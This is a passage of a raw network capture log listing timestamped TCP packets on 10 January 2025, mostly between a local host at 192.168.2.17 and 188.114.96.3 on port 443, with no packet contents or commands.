Jan 10, 2025 20:50:07.985490084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985503912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985523939 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985523939 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985532999 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985563993 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985584021 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985586882 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985671997 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985678911 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.985718966 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.985718966 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.986649036 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.986670971 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.986749887 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.986754894 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.986764908 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.986783028 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.986787081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.986857891 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.986857891 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:07.986864090 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:07.987030983 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.071772099 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.071799994 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.071921110 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.071926117 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.071938992 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.071959972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072005033 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.072026968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072071075 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.072071075 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.072339058 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072355032 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072419882 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072426081 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.072432041 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072469950 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072504997 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.072531939 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072571993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.072571993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.072639942 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072654963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072707891 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.072715044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072972059 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.072992086 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.073045015 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.073065996 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.073079109 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.073539019 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.073553085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.073643923 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.073651075 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.073704004 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.073720932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.073802948 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.073810101 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.076204062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.147922993 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 20:50:08.158829927 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.158859968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.158921957 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.158955097 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.158963919 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.158986092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159049988 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.159049988 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.159076929 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159097910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159195900 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.159204006 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159352064 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159370899 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159440994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.159449100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159493923 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.159621000 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159635067 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159724951 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.159742117 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.159749985 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.160656929 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.160676956 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.160732031 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.160744905 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.160813093 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.160878897 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.160895109 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.160948038 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.160958052 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.160964966 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.161047935 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.161047935 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.202014923 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.202048063 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.202110052 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.202124119 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.202213049 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.245735884 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.245769024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.245990992 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.246006012 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.246017933 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.246059895 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.246077061 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.246084929 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.246165037 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.246165037 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.246192932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.246208906 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.246296883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.246304989 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.246395111 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.246413946 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.246476889 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.246481895 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247364998 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247375965 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.247381926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247392893 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247431993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.247454882 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.247610092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247629881 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247697115 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.247704983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247849941 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247869015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247919083 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.247929096 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.247993946 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.248023033 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.288748026 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.288783073 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.289218903 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.289233923 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.289943933 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.332808971 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.332832098 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.332927942 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.332940102 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333070040 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.333230972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333254099 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333332062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.333337069 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333360910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333380938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333405972 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.333410978 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333482027 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333482981 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.333483934 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.333494902 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333537102 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333561897 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.333569050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.333626986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.333626986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.334402084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334435940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334477901 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.334484100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334520102 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.334520102 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.334530115 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334539890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334568024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334624052 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.334624052 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.334634066 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334702015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334742069 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334781885 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.334790945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334800005 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.334800005 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334865093 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.334870100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.334933043 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.419532061 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.419553041 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.419598103 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.419647932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.419707060 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.419707060 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.419732094 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.419886112 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.419902086 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.419991970 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.419991970 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.420002937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.420228958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.420243979 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.420294046 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.420300007 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.420368910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.420384884 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.420399904 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.420463085 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.420468092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.420485973 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.421211004 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.421226978 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.421317101 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.421317101 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.421324968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.421377897 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.421395063 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.421452999 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.421461105 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.421497107 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.421566963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.421581984 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.421633005 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.421639919 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.421684027 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.462802887 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.462826967 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.463016987 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.463037014 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.506638050 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.506668091 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.506737947 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.506750107 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.506841898 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.506843090 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.506855965 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.506885052 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.506905079 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.506922960 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.506928921 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.506951094 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.506957054 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.507026911 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.507087946 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.507110119 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.507154942 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.507164001 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.507200003 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.507366896 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.507385969 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.507492065 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.507498980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.507514954 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.507970095 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.507987022 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.508053064 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.508058071 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.508075953 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.508240938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.508256912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.508338928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.508338928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.508347034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.508479118 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.508495092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.508544922 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.508553028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.508630991 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.547898054 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.549642086 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.549660921 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.549731970 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.549740076 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.549825907 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.593645096 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.593663931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.593911886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.593931913 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.593943119 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.593983889 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.594069958 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.594335079 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.594357014 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.594422102 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.594429970 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.594558001 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.594580889 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.594631910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.594638109 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.594665051 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.595033884 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.595050097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.595128059 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.595134974 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.595494032 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.595515013 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.595577955 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.595582962 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.595592976 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.595613956 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.595632076 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.595674992 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.595680952 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.595717907 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.636629105 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.636650085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.636698961 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.636708975 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.636758089 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.680557013 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.680576086 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.680633068 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.680636883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.680645943 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.680685997 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.680710077 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.680710077 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.680725098 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.680733919 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.680767059 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.680783987 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.680906057 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.680919886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.680996895 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.681004047 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.681087971 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.681196928 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.681214094 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.681276083 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.681283951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.681365967 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.681957960 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.681972980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.682070017 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.682075977 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.682127953 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.682370901 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.682387114 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.682447910 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.682454109 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.682476044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.682492971 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.682518959 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:08.682523966 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:08.682570934 CET	49803	443	192.168.2.17	188.114.96.3
